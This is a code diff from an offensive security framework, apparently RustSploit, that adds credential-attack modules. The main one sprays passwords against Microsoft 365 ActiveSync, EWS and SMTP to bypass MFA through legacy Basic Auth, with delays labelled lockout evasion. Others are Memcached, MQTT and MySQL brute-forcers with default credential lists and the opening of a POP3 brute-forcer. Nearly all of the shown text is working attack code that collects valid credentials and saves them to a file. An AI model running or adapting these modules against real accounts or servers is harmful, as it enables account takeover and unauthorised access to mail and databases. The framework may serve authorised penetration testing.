let _ = std::io::Write::write_all(tls_reader.get_mut(), b"QUIT\r\n");
let _ = std::io::Write::flush(tls_reader.get_mut());
return Ok(true);
}
Ok(false)
}
// ============================================================================
// Display
// ============================================================================
fn display_banner() {
if crate::utils::is_batch_mode() {
return;
}
crate::mprintln!(
"{}",
"╔══════════════════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ M365 ActiveSync/EWS Password Spray (MFA Bypass) ║".cyan()
);
crate::mprintln!(
"{}",
"║ ║".cyan()
);
crate::mprintln!(
"{}",
"║ Basic Auth on legacy protocols bypasses MFA on managed tenants ║".cyan()
);
crate::mprintln!(
"{}",
"║ Strategy: 1 password per round across all accounts ║".cyan()
);
crate::mprintln!(
"{}",
"║ Targets: ActiveSync, EWS, SMTP Auth ║".cyan()
);
crate::mprintln!(
"{}",
"╚══════════════════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
// ============================================================================
// Main Run
// ============================================================================
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("m365_activesync_spray requires a single-host target")?;
// This module sprays the fixed Exchange Online endpoints
// (outlook.office365.com / smtp.office365.com) regardless of which host
// it is pointed at. Under the universal per-host scheduler fan-out, a
// CIDR/file/multi target is expanded into one `run()` call per host — so
// without this gate the ENTIRE user×password spray against Microsoft 365
// would be repeated once for every host in the input, wasting attempts,
// multiplying lockout risk on real M365 accounts, and producing duplicate
// findings. Only proceed when the resolved single target is actually an
// Exchange Online host; for any other host (e.g. an unrelated address
// pulled in by fan-out) skip cleanly so the spray runs exactly once.
// Extract the bare hostname from the resolved single target, tolerating
// optional `user@`, `[ipv6]`, and `:port` decorations.
let mut host = target;
if let Some((_, rest)) = host.rsplit_once('@') {
host = rest;
}
if let Some(rest) = host.strip_prefix('[') {
// `[ipv6]` or `[ipv6]:port` — take the bracketed portion.
host = rest.split(']').next().unwrap_or(rest);
} else if let Some((h, _)) = host.rsplit_once(':') {
// `host:port` — strip the trailing port.
host = h;
}
let host = host.trim_end_matches('.').to_ascii_lowercase();
let is_m365_endpoint = host == "outlook.office365.com"
|| host == "smtp.office365.com"
|| host.ends_with(".office365.com")
|| host.ends_with(".outlook.com")
|| host.ends_with(".onmicrosoft.com");
if !is_m365_endpoint {
let mut outcome = ModuleOutcome::ok();
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!(
"Skipped M365 spray: target '{}' is not an Exchange Online endpoint. \
Point this module at outlook.office365.com / smtp.office365.com (or a \
tenant host) to run the spray exactly once.",
target
),
data: None,
});
if !ctx.batch_mode {
crate::mprintln!(
"{}",
format!(
"[*] Skipping {} — not an M365/Exchange Online endpoint (no per-host re-spray).",
target
)
.dimmed()
);
}
return Ok(outcome);
}
display_banner();
// --- Configuration prompts ---
let users_file = cfg_prompt_existing_file("user_list", "User list file (email addresses)").await?;
let pass_file = cfg_prompt_existing_file("password_list", "Password list file").await?;
let delay_secs: u64 = cfg_prompt_int_range(
"delay_secs",
"Delay between rounds (seconds, lockout evasion)",
DEFAULT_DELAY_SECS as i64,
0,
300,
)
.await? as u64;
let concurrency: usize = cfg_prompt_int_range(
"concurrency",
"Max concurrent connections per round",
DEFAULT_CONCURRENCY as i64,
1,
100,
)
.await? as usize;
let mode_str = cfg_prompt_default(
"spray_mode",
"Spray mode (activesync/ews/smtp/all)",
"all",
)
.await?;
let mode = SprayMode::parse(&mode_str);
let output_file = cfg_prompt_output_file(
"output_file",
"Output file for valid credentials",
"m365_spray_results.txt",
)
.await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
// --- Load wordlists ---
let users = load_lines(&users_file)?;
let passwords = load_lines(&pass_file)?;
if users.is_empty() {
return Err(anyhow!("User list is empty"));
}
if passwords.is_empty() {
return Err(anyhow!("Password list is empty"));
}
crate::mprintln!(
"[*] Loaded {} users and {} passwords",
users.len().to_string().bold(),
passwords.len().to_string().bold()
);
crate::mprintln!(
"[*] Mode: {:?} | Concurrency: {} | Delay between rounds: {}s",
mode,
concurrency,
delay_secs
);
crate::mprintln!();
// --- Build HTTP client ---
let client = build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.context("Failed to build HTTP client")?;
// --- Spray execution ---
// Strategy: iterate passwords (outer), spray each password across all users (inner)
let mut hits: Vec<SprayHit> = Vec::new();
let total_rounds = passwords.len();
for (round_idx, password) in passwords.iter().enumerate() {
if ctx.is_cancelled() {
crate::mprintln!("{}", "[!] Cancelled by operator".yellow());
break;
}
crate::mprintln!(
"{}",
format!(
"[*] Round {}/{} - Spraying password: {}",
round_idx + 1,
total_rounds,
password
)
.cyan()
);
// Spray this password across all users with concurrency control
let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
// Set by any worker that sees Azure AD throttling, so we back off before
// the next password round instead of hammering through false negatives.
let throttled = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
let mut handles = Vec::new();
for user in &users {
if ctx.is_cancelled() {
break;
}
let sem = semaphore.clone();
let throttled = throttled.clone();
let client = client.clone();
let user = user.clone();
let password = password.clone();
let mode = mode;
let verbose = verbose;
let handle = tokio::spawn(async move {
let _permit = sem.acquire().await.ok()?;
let mut round_hits: Vec<SprayHit> = Vec::new();
// --- ActiveSync ---
if mode == SprayMode::ActiveSync || mode == SprayMode::All {
match try_http_basic(&client, ACTIVESYNC_URL, &user, &password).await {
Ok((status, diag)) => {
if is_throttled(status, &diag) {
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
}
match credential_is_valid(status, &diag) {
Some(reason) => {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "ActiveSync".to_string(),
status,
detail: reason.to_string(),
});
}
None if verbose => {
crate::mprintln!(
" [{}] {} @ ActiveSync: {} ({})",
status,
user,
classify_http_response(status, &diag),
diag.clone().unwrap_or_default()
);
}
None => {}
}
// Warn on lockout/block
if status == 403 || status == 456 {
crate::mprintln!(
" {}",
format!(
"[!] {} - {} ({})",
user,
classify_http_response(status, &diag),
diag.unwrap_or_default()
)
.yellow()
);
}
}
Err(e) => {
if verbose {
crate::mprintln!(
" [-] {} @ ActiveSync error: {}",
user,
e
);
}
}
}
}
// --- EWS ---
if mode == SprayMode::Ews || mode == SprayMode::All {
match try_http_basic(&client, EWS_URL, &user, &password).await {
Ok((status, diag)) => {
if is_throttled(status, &diag) {
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
}
match credential_is_valid(status, &diag) {
Some(reason) => {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "EWS".to_string(),
status,
detail: reason.to_string(),
});
}
None if verbose => {
crate::mprintln!(
" [{}] {} @ EWS: {} ({})",
status,
user,
classify_http_response(status, &diag),
diag.clone().unwrap_or_default()
);
}
None => {}
}
if status == 403 || status == 456 {
crate::mprintln!(
" {}",
format!(
"[!] {} - {} ({})",
user,
classify_http_response(status, &diag),
diag.unwrap_or_default()
)
.yellow()
);
}
}
Err(e) => {
if verbose {
crate::mprintln!(" [-] {} @ EWS error: {}", user, e);
}
}
}
}
// --- SMTP ---
if mode == SprayMode::Smtp || mode == SprayMode::All {
let user_clone = user.clone();
let pass_clone = password.clone();
let smtp_result = tokio::task::spawn_blocking(move || {
try_smtp_auth(&user_clone, &pass_clone, DEFAULT_TIMEOUT_SECS)
})
.await;
match smtp_result {
Ok(Ok(true)) => {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "SMTP".to_string(),
status: 235,
detail: "VALID CREDENTIALS - SMTP Auth (no lockout on this protocol)".to_string(),
});
}
Ok(Ok(false)) => {
if verbose {
crate::mprintln!(" [AUTH_FAIL] {} @ SMTP", user);
}
}
Ok(Err(e)) => {
if verbose {
crate::mprintln!(" [-] {} @ SMTP error: {}", user, e);
}
}
Err(e) => {
if verbose {
crate::mprintln!(" [-] {} @ SMTP task error: {}", user, e);
}
}
}
}
Some(round_hits)
});
handles.push(handle);
}
// Collect results from this round
for handle in handles {
if let Ok(Some(round_hits)) = handle.await {
for hit in round_hits {
crate::mprintln!(
"\r{}",
format!(
"[PWNED] {}:{} via {} - {}",
hit.username, hit.password, hit.endpoint, hit.detail
)
.red()
.bold()
);
// Store credential
let _id = crate::cred_store::store_credential(crate::cred_store::NewCred {
host: "outlook.office365.com",
port: if hit.endpoint == "SMTP" { SMTP_PORT } else { 443 },
service: &hit.endpoint.to_lowercase(),
username: &hit.username,
secret: &hit.password,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/m365_activesync_spray",
})
.await;
hits.push(hit);
}
}
}
// Back off if Azure AD throttled us this round (429/503/ESTS throttle).
if throttled.load(std::sync::atomic::Ordering::Relaxed) && round_idx + 1 < total_rounds {
crate::mprintln!(
"{}",
"[!] Throttling detected — backing off 60s before the next password round".yellow()
);
tokio::time::sleep(Duration::from_secs(60)).await;
}
// Delay between rounds (lockout evasion)
if round_idx + 1 < total_rounds && delay_secs > 0 {
crate::mprintln!(
"{}",
format!("[*] Waiting {}s before next round (lockout evasion)...", delay_secs).dimmed()
);
tokio::time::sleep(Duration::from_secs(delay_secs)).await;
}
}
// --- Results Summary ---
crate::mprintln!();
crate::mprintln!("{}", "=== Spray Complete ===".cyan().bold());
crate::mprintln!(
"[*] Valid credentials found: {}",
hits.len().to_string().green().bold()
);
if !hits.is_empty() {
crate::mprintln!();
crate::mprintln!("{}", "[!] NOTE: These credentials bypass MFA via legacy Basic Auth!".red().bold());
crate::mprintln!(
"{}",
"[!] The tenant has Basic Auth enabled on legacy protocols (ActiveSync/EWS/SMTP)."
.red()
);
crate::mprintln!();
for hit in &hits {
crate::mprintln!(
" {} | {}:{} | {} | {}",
hit.endpoint.bold(),
hit.username,
hit.password,
hit.status,
hit.detail
);
}
// Save to file
save_results(&hits, &output_file)?;
}
// --- Build outcome ---
let mut outcome = ModuleOutcome::ok();
for hit in &hits {
outcome.findings.push(Finding {
target: "outlook.office365.com".to_string(),
kind: FindingKind::Credential,
message: format!(
"M365 credential valid (MFA BYPASSED via legacy auth): {}:{} [{}]",
hit.username, hit.password, hit.endpoint
),
data: Some(serde_json::json!({
"username": hit.username,
"password": hit.password,
"endpoint": hit.endpoint,
"status_code": hit.status,
"detail": hit.detail,
"mfa_bypassed": true,
"service": "m365_legacy_auth",
"port": if hit.endpoint == "SMTP" { SMTP_PORT } else { 443 },
})),
});
}
Ok(outcome)
}
// ============================================================================
// Save Results
// ============================================================================
fn save_results(hits: &[SprayHit], path: &str) -> Result<()> {
use std::io::Write;
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
let mut file = opts.open(path).context("Failed to open output file")?;
writeln!(file, "# M365 ActiveSync/EWS Password Spray Results")?;
writeln!(file, "# Generated by RustSploit")?;
writeln!(file, "# WARNING: These credentials bypass MFA via legacy Basic Auth")?;
writeln!(file, "# Total: {} valid credentials found", hits.len())?;
writeln!(file)?;
writeln!(file, "# Format: endpoint | username:password | status | detail")?;
for hit in hits {
writeln!(
file,
"{} | {}:{} | {} | {}",
hit.endpoint, hit.username, hit.password, hit.status, hit.detail
)?;
}
crate::mprintln!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
// ============================================================================
// Registration
// ============================================================================
crate::register_native_module!(crate::module::Category::Creds, "creds/generic/m365_activesync_spray", native);
@@ -0,0 +1,145 @@
//! Memcached SASL PLAIN authentication probe over the binary protocol.
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
const DEFAULT_PORT: u16 = 11211;
const DEFAULTS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("memcached", "memcached"),
("root", "root"),
("user", "password"),
];
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "Memcached SASL Bruteforce".to_string(),
description:
"Probes Memcached SASL PLAIN auth via the binary protocol (cmd 0x21). \
Single-target — scheduler does fan-out."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://github.com/memcached/memcached/wiki/SASLAuthProtocol".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Normal,
default_port: Some(11211),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("memcached_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "memcached",
default_port: DEFAULT_PORT,
source_module: "creds/generic/memcached_bruteforce",
defaults: DEFAULTS,
password_only: false,
},
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
)
.await
}
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
use tokio::io::AsyncWriteExt;
let addr = format!("{}:{}", host, port);
let mut stream = match crate::utils::creds_helper::connect_with_timeout(&addr, timeout).await {
Ok(s) => s,
Err(e) => {
return LoginResult::Error {
message: format!("connect: {e}"),
retryable: true,
}
}
};
// Binary protocol header: magic(0x80) + opcode(0x21=SASL Auth)
// + key_len(u16) + extras_len(0) + data_type(0) + reserved(0)
// + total_body(u32) + opaque(u32) + cas(u64).
// Body: "PLAIN" (key) + "\0user\0pass" (value).
let mech = b"PLAIN";
let mut value = Vec::with_capacity(2 + user.len() + pass.len());
value.push(0);
value.extend_from_slice(user.as_bytes());
value.push(0);
value.extend_from_slice(pass.as_bytes());
let key_len = mech.len() as u16;
let total_body = mech.len() as u32 + value.len() as u32;
let mut packet = Vec::with_capacity(24 + mech.len() + value.len());
packet.push(0x80); // request magic
packet.push(0x21); // SASL Auth
packet.extend_from_slice(&key_len.to_be_bytes());
packet.push(0); // extras len
packet.push(0); // data type
packet.extend_from_slice(&0u16.to_be_bytes()); // reserved
packet.extend_from_slice(&total_body.to_be_bytes());
packet.extend_from_slice(&0u32.to_be_bytes()); // opaque
packet.extend_from_slice(&0u64.to_be_bytes()); // cas
packet.extend_from_slice(mech);
packet.extend_from_slice(&value);
if let Err(e) = stream.write_all(&packet).await {
return LoginResult::Error {
message: format!("write: {e}"),
retryable: true,
};
}
// Read 24-byte response header.
let mut header = [0u8; 24];
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut header,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read: {e}"),
retryable: true,
};
}
// Confirm this is a RESPONSE (magic 0x81) to our SASL-Auth (opcode 0x21)
// before trusting the status field — otherwise an unrelated/error frame whose
// status bytes happen to be 0x0000 would be read as a successful login.
if header[0] != 0x81 || header[1] != 0x21 {
return LoginResult::Error {
message: format!("unexpected memcached frame magic=0x{:02x} opcode=0x{:02x}", header[0], header[1]),
retryable: false,
};
}
// status @ bytes 6..8.
let status = u16::from_be_bytes([header[6], header[7]]);
match status {
0x0000 => LoginResult::Success,
0x0020 | 0x0021 => LoginResult::AuthFailed, // auth error / further auth step required
0x0008 => LoginResult::Error {
// 0x0008 is "out of memory" — a transient server condition, not a
// credential rejection; retry rather than recording a clean failure.
message: "memcached out of memory".to_string(),
retryable: true,
},
other => LoginResult::Error {
message: format!("unexpected status 0x{other:04x}"),
retryable: false,
},
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/memcached_bruteforce", native);
+28 -8
View File
@@ -1,11 +1,31 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod couchdb_bruteforce;
pub mod elasticsearch_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod fortinet_bruteforce;
pub mod ftp_anonymous;
pub mod ftp_bruteforce;
pub mod h3c_oem_kvm_bruteforce;
pub mod h3c_redfish_session_spray;
pub mod http_basic_bruteforce;
pub mod imap_bruteforce;
pub mod l2tp_bruteforce;
pub mod memcached_bruteforce;
pub mod m365_activesync_spray;
pub mod mqtt_bruteforce;
pub mod mysql_bruteforce;
pub mod pop3_bruteforce;
pub mod postgres_bruteforce;
pub mod proxy_bruteforce;
pub mod rdp_bruteforce;
pub mod redis_bruteforce;
pub mod rtsp_bruteforce;
pub mod sample_cred_check;
pub mod smtp_bruteforce;
pub mod snmp_bruteforce;
pub mod ssh_bruteforce;
pub mod ssh_spray;
pub mod ssh_user_enum;
pub mod telnet_bruteforce;
pub mod telnet_hose;
pub mod vnc_bruteforce;
@@ -0,0 +1,156 @@
//! MQTT v3.1.1 CONNECT credential probe.
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
const DEFAULT_PORT: u16 = 1883;
const DEFAULTS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("admin", "public"),
("mqtt", "mqtt"),
("guest", "guest"),
("user", "user"),
];
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "MQTT Bruteforce".to_string(),
description:
"Tests MQTT v3.1.1 CONNECT authentication. Reads CONNACK return code to classify \
accepted / bad-credentials / not-authorized. Single-target — scheduler does fan-out."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Normal,
default_port: Some(1883),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("mqtt_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "mqtt",
default_port: DEFAULT_PORT,
source_module: "creds/generic/mqtt_bruteforce",
defaults: DEFAULTS,
password_only: false,
},
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
)
.await
}
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
use tokio::io::AsyncWriteExt;
let addr = format!("{}:{}", host, port);
let mut stream = match crate::utils::creds_helper::connect_with_timeout(&addr, timeout).await {
Ok(s) => s,
Err(e) => {
return LoginResult::Error {
message: format!("connect: {e}"),
retryable: true,
}
}
};
// CONNECT — variable header + payload.
// Variable header: protocol name "MQTT" (2-byte len + bytes), level=4,
// flags(0xc2 = username+password, clean session), keep-alive=60.
let client_id = format!("rs-{}", rand::random::<u32>());
let mut payload = Vec::new();
push_str(&mut payload, &client_id);
push_str(&mut payload, user);
push_str(&mut payload, pass);
let mut variable = Vec::new();
push_str(&mut variable, "MQTT");
variable.push(4); // protocol level
variable.push(0xc2); // username + password + clean session
variable.extend_from_slice(&60u16.to_be_bytes()); // keep alive
let mut packet = Vec::new();
packet.push(0x10); // CONNECT
let remaining_len = variable.len() + payload.len();
encode_remaining_length(&mut packet, remaining_len);
packet.extend_from_slice(&variable);
packet.extend_from_slice(&payload);
if let Err(e) = stream.write_all(&packet).await {
return LoginResult::Error {
message: format!("write CONNECT: {e}"),
retryable: true,
};
}
// Read CONNACK fixed header (1 byte) + remaining length (1 byte) +
// session-present (1) + return code (1).
let mut buf = [0u8; 4];
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut buf,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read CONNACK: {e}"),
retryable: true,
};
}
if buf[0] != 0x20 {
return LoginResult::Error {
message: format!("not a CONNACK (type 0x{:02x})", buf[0]),
retryable: false,
};
}
match buf[3] {
0 => LoginResult::Success,
4 | 5 => LoginResult::AuthFailed, // bad credentials / not authorized
other => LoginResult::Error {
message: format!("CONNACK return code {other}"),
retryable: false,
},
}
}
fn push_str(buf: &mut Vec<u8>, s: &str) {
let bytes = s.as_bytes();
let len = match u16::try_from(bytes.len()) {
Ok(v) => v,
Err(e) => {
tracing::warn!("MQTT string too long ({} bytes), truncating length to u16::MAX: {e}", bytes.len());
u16::MAX
}
};
buf.extend_from_slice(&len.to_be_bytes());
buf.extend_from_slice(bytes);
}
fn encode_remaining_length(buf: &mut Vec<u8>, mut value: usize) {
loop {
let mut byte = (value & 0x7f) as u8;
value >>= 7;
if value > 0 {
byte |= 0x80;
}
buf.push(byte);
if value == 0 {
break;
}
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/mqtt_bruteforce", native);
@@ -0,0 +1,298 @@
//! MySQL credential brute-force.
//!
//! Single-target probe. The scheduler handles fan-out. This module speaks
//! enough of the MySQL handshake / `mysql_native_password` auth flow to
//! distinguish "valid creds" from "wrong creds" without pulling in a
//! full MySQL client.
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
const DEFAULT_MYSQL_PORT: u16 = 3306;
const DEFAULT_MYSQL_CREDS: &[(&str, &str)] = &[
("root", ""),
("root", "root"),
("root", "password"),
("root", "mysql"),
("root", "admin"),
("admin", "admin"),
("admin", "password"),
("mysql", "mysql"),
("user", "user"),
];
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "MySQL Bruteforce".to_string(),
description:
"Tests MySQL/MariaDB authentication via the HandshakeV10 → \
HandshakeResponse41 (mysql_native_password) flow. Reads the \
OK/ERR packet to classify the result. Single-target — \
scheduler does fan-out."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase.html"
.to_string(),
],
disclosure_date: None,
rank: ModuleRank::Normal,
default_port: Some(3306),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("mysql_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "mysql",
default_port: DEFAULT_MYSQL_PORT,
source_module: "creds/generic/mysql_bruteforce",
defaults: DEFAULT_MYSQL_CREDS,
password_only: false,
},
|host: String, port: u16, user: String, pass: String, timeout: std::time::Duration| async move {
probe(&host, port, &user, &pass, timeout).await
},
)
.await
}
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
use sha1::{Digest, Sha1};
use tokio::io::AsyncWriteExt;
let addr = format!("{}:{}", host, port);
let mut stream = match crate::utils::creds_helper::connect_with_timeout(&addr, timeout).await {
Ok(s) => s,
Err(e) => {
return LoginResult::Error {
message: format!("connect: {e}"),
retryable: true,
};
}
};
// MySQL packet: 3-byte LE length + 1-byte sequence ID + payload.
let mut header = [0u8; 4];
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut header,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read handshake header: {e}"),
retryable: true,
};
}
let payload_len =
u32::from_le_bytes([header[0], header[1], header[2], 0]) as usize;
let seq_id = header[3];
if !(20..=4096).contains(&payload_len) {
return LoginResult::Error {
message: format!("implausible handshake length {payload_len}"),
retryable: false,
};
}
let mut payload = vec![0u8; payload_len];
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut payload,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read handshake payload: {e}"),
retryable: true,
};
}
if payload[0] != 0x0a {
return LoginResult::Error {
message: format!("protocol version {} != 10", payload[0]),
retryable: false,
};
}
// Skip server-version (null-terminated string) + 4-byte conn id + 8-byte salt + 1 filler.
let mut idx = 1;
while idx < payload.len() && payload[idx] != 0 {
idx += 1;
}
idx += 1; // null
if idx + 4 + 8 + 1 > payload.len() {
return LoginResult::Error {
message: "handshake too short".to_string(),
retryable: false,
};
}
idx += 4; // connection id
let salt1 = &payload[idx..idx + 8].to_vec();
idx += 8 + 1; // salt + filler
// Optional server capabilities (2 bytes) + charset (1) + status (2) + caps high (2)
// + auth-plugin-data-len (1) + 10 reserved + salt2.
if idx + 2 > payload.len() {
return LoginResult::Error {
message: "missing capability flags".to_string(),
retryable: false,
};
}
idx += 2;
if idx + 1 + 2 + 2 + 1 + 10 < payload.len() {
idx += 1 + 2 + 2; // charset + status + capabilities high
let auth_plugin_data_len = payload[idx] as usize;
idx += 1 + 10;
let salt2_len = auth_plugin_data_len.saturating_sub(8).max(12);
if idx + salt2_len > payload.len() {
return LoginResult::Error {
message: "salt2 OOB".to_string(),
retryable: false,
};
}
let mut salt = salt1.clone();
salt.extend_from_slice(&payload[idx..idx + salt2_len.saturating_sub(1)]);
// mysql_native_password: SHA1(pass) ⊕ SHA1(salt || SHA1(SHA1(pass))).
let auth_response = if pass.is_empty() {
Vec::new()
} else {
let pass_hash: [u8; 20] = Sha1::digest(pass.as_bytes()).into();
let pass_double: [u8; 20] = Sha1::digest(pass_hash).into();
let mut salted = Vec::with_capacity(salt.len() + 20);
salted.extend_from_slice(&salt);
salted.extend_from_slice(&pass_double);
let salt_hash: [u8; 20] = Sha1::digest(&salted).into();
pass_hash
.iter()
.zip(salt_hash.iter())
.map(|(a, b)| a ^ b)
.collect()
};
// Build HandshakeResponse41.
let client_flags: u32 = 0x0001_8205; // PROTOCOL_41 | SECURE_CONNECTION | LONG_PASSWORD | LONG_FLAG | TRANSACTIONS | PLUGIN_AUTH
let max_packet: u32 = 1 << 24;
let charset: u8 = 0x21; // utf8_general_ci
let mut response = Vec::new();
response.extend_from_slice(&client_flags.to_le_bytes());
response.extend_from_slice(&max_packet.to_le_bytes());
response.push(charset);
response.extend_from_slice(&[0u8; 23]); // reserved
response.extend_from_slice(user.as_bytes());
response.push(0); // null
response.push(auth_response.len() as u8);
response.extend_from_slice(&auth_response);
response.extend_from_slice(b"mysql_native_password");
response.push(0);
let mut packet = Vec::with_capacity(4 + response.len());
let resp_len = response.len() as u32;
packet.push((resp_len & 0xff) as u8);
packet.push(((resp_len >> 8) & 0xff) as u8);
packet.push(((resp_len >> 16) & 0xff) as u8);
packet.push(seq_id.wrapping_add(1));
packet.extend_from_slice(&response);
if let Err(e) = stream.write_all(&packet).await {
return LoginResult::Error {
message: format!("write response: {e}"),
retryable: true,
};
}
// Read OK / ERR / AuthSwitchRequest.
let mut h2 = [0u8; 4];
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut h2,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read auth result: {e}"),
retryable: true,
};
}
let p2_len = u32::from_le_bytes([h2[0], h2[1], h2[2], 0]) as usize;
if !(1..=4096).contains(&p2_len) {
return LoginResult::Error {
message: format!("invalid auth-result length {p2_len}"),
retryable: false,
};
}
let mut p2 = vec![0u8; p2_len];
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut p2,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read auth body: {e}"),
retryable: true,
};
}
match p2[0] {
0x00 => LoginResult::Success,
0xff => {
// ERR packet: marker (1) + error-code (2 LE) + ...
if p2.len() >= 3 {
let err_code = u16::from_le_bytes([p2[1], p2[2]]);
match err_code {
// Access/auth denials — definitive negatives.
// 1044 db-access, 1045 access-denied, 1698 auth-plugin
// denied, 1862 password-expired, 1226/1227 resource/priv,
// 1130 host-not-privileged.
1044 | 1045 | 1130 | 1226 | 1227 | 1698 | 1862 => LoginResult::AuthFailed,
_ => {
let msg = if p2.len() > 9 {
String::from_utf8_lossy(&p2[9..]).to_string()
} else {
format!("MySQL error {err_code}")
};
// The server sent an ERR packet, so it DID respond —
// not a transient/connection fault. Mark non-retryable
// so an unexpected error code doesn't burn retries and
// trip the consecutive-error lockout on a live server.
LoginResult::Error {
message: msg,
retryable: false,
}
}
}
} else {
LoginResult::AuthFailed
}
}
0xfe => {
// AuthSwitchRequest — the server wants a different plugin.
// Treat as auth fail for now to avoid recursion.
LoginResult::AuthFailed
}
other => LoginResult::Error {
message: format!("unexpected auth-result marker 0x{other:02x}"),
retryable: false,
},
}
} else {
LoginResult::Error {
message: "incomplete handshake (no auth-plugin data)".to_string(),
retryable: false,
}
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/mysql_bruteforce", native);
+342 -197
View File
@@ -1,223 +1,368 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write, Read};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use anyhow::{ anyhow, Context, Result };
use colored::*;
use native_tls::TlsConnector;
use std::net::IpAddr;
use std::time::Duration;
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
use_ssl: bool,
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
use crate::utils::{
load_lines,
cfg_prompt_default,
cfg_prompt_yes_no,
cfg_prompt_existing_file,
cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::utils::{
BruteforceConfig,
LoginResult,
SubnetScanConfig,
generate_combos_mode,
parse_combo_mode,
load_credential_file,
run_bruteforce,
run_subnet_bruteforce,
is_subnet_target,
backoff_delay,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "POP3 Brute Force".to_string(),
description: "Brute-force POP3 authentication with SSL/TLS support. Tests credentials against POP3 mail servers with combo mode, retry logic, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: Some(110),
}
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== POP3 Bruteforce ===\n");
